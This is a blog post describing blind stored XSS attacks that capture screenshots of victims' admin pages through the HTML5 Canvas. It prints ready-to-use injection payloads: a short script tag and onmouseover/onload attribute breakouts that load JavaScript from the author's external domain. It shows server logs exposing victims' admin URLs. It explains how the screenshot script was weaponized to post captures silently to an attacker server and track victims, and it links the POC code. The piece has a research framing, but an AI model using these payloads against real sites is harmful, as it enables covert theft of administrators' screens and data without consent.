Taking screenshots using XSS and the HTML5 Canvas

Published on by

Using the HTML5 Canvas its possible to use XSS to take screenshots of administration and management interfaces that might not have access to.

Blind Stored XSS

By injecting script tags containing an external JavaScript resource into arbitrary HTTP input fields you can attempt to detect XSS in pages or applications which might not be accessible. To increase my chances of getting my script tags past basic data validation (e.g. length) I registered a short domain name for my payloads. Using a 3 letter domain with 2 letter prefix and a protocol relative URL the shortest functional script payload that pulls in an external resource is probably ~32 characters:

<script src="//xqi.cc"></script>

Additionally you can also try onload or onmouseover events in case the injection is inside an HTML attribute; although this significantly increases the size of the payload to about 160 characters:

" onmouseover="var n=document.createElement('script'); n.type='text/javascript';n.src='//xqi.cc'; x=document.getElementsByTagName('head'); x[0].appendChild(n);
" onload="var n=document.createElement('script'); n.type='text/javascript';n.src='//xqi.cc'; x=document.getElementsByTagName('head'); x[0].appendChild(n);

It goes without saying that you are depending on the administrator or user to view the XSS in order for it to execute, your chances will depend on the type of injection you use and how frequently the vulnerable application is accessed. You'll know when the JavaScript resource executes in another application because you can see the JavaScript resource and the HTTP referrer in your HTTP logs:

1.2.3.4 - - [09/Apr/2012:02:10:49 +0000] "GET / HTTP/1.1" 200 57 "http://www.site.com/admin/customers.aspx" "Mozilla/5.0 (Windows NT 6.1; rv:10.0.2) Gecko/20100101 Firefox/10.0.2"
1.2.3.4 - - [09/Apr/2012:02:10:59 +0000] "GET / HTTP/1.1" 200 57 "http://www.site.com/admin/view_customer.aspx?id=122" "Mozilla/5.0 (Windows NT 6.1; rv:10.0.2) Gecko/20100101 Firefox/10.0.2"

I was deploying these payloads using a custom Burp extension although I've now discovered Acunetix allows you to issue custom payloads - you can download the script I use here.

Taking a screenshot using the HTML5 Canvas

The HTML5 Canvas allows you to quickly render (client side) an accurate screenshot of the clients browser and use Ajax to return it to a server controlled by the attacker.

The code I use is based more or less entirely on Niklas Von Hertzen's version available on GitHub. However I've made a few modifications in order to weaponize it:

  • Merged the source together (JQuery, HTMLCanvas and the JQueryHTMLCanvas plugin) so that the payload consists of just 1 file
  • Removed any messages displayed to the user
  • Added an Ajax post so that it posts the Canvas to a remote server
  • Added some code to prevent the JS being loaded multiple times on the same page

On the server side there is also a script to decode the Canvas which is posted as a base64 encoded string and write it to a database which also has Referrer, Remote Address and User Agent fields. This allows me to keep track of users that execute the code.

Cross Domain Policy and other issues

The only real caveat is that the script will run with the same-origin policy preventing it from fetching resources from other domains (e.g. images hosted on a CDN). In an attempt to overcome this the script uses a proxy to fetch external resources that are outside of its domain (this obviously wont work for any resources that are not publicly accessible).

Its also worth nothing that taking a screenshot using HTML5 doesn't really provide you with any more information than harvesting a copy of the DOM using XSS.

Download HTML5 Screenshot XSS POC code (Tested in the latest versions of Chrome and Firefox)

Article updated 6th April 2012 to include protocol relative URLs and a custom Acunetix Script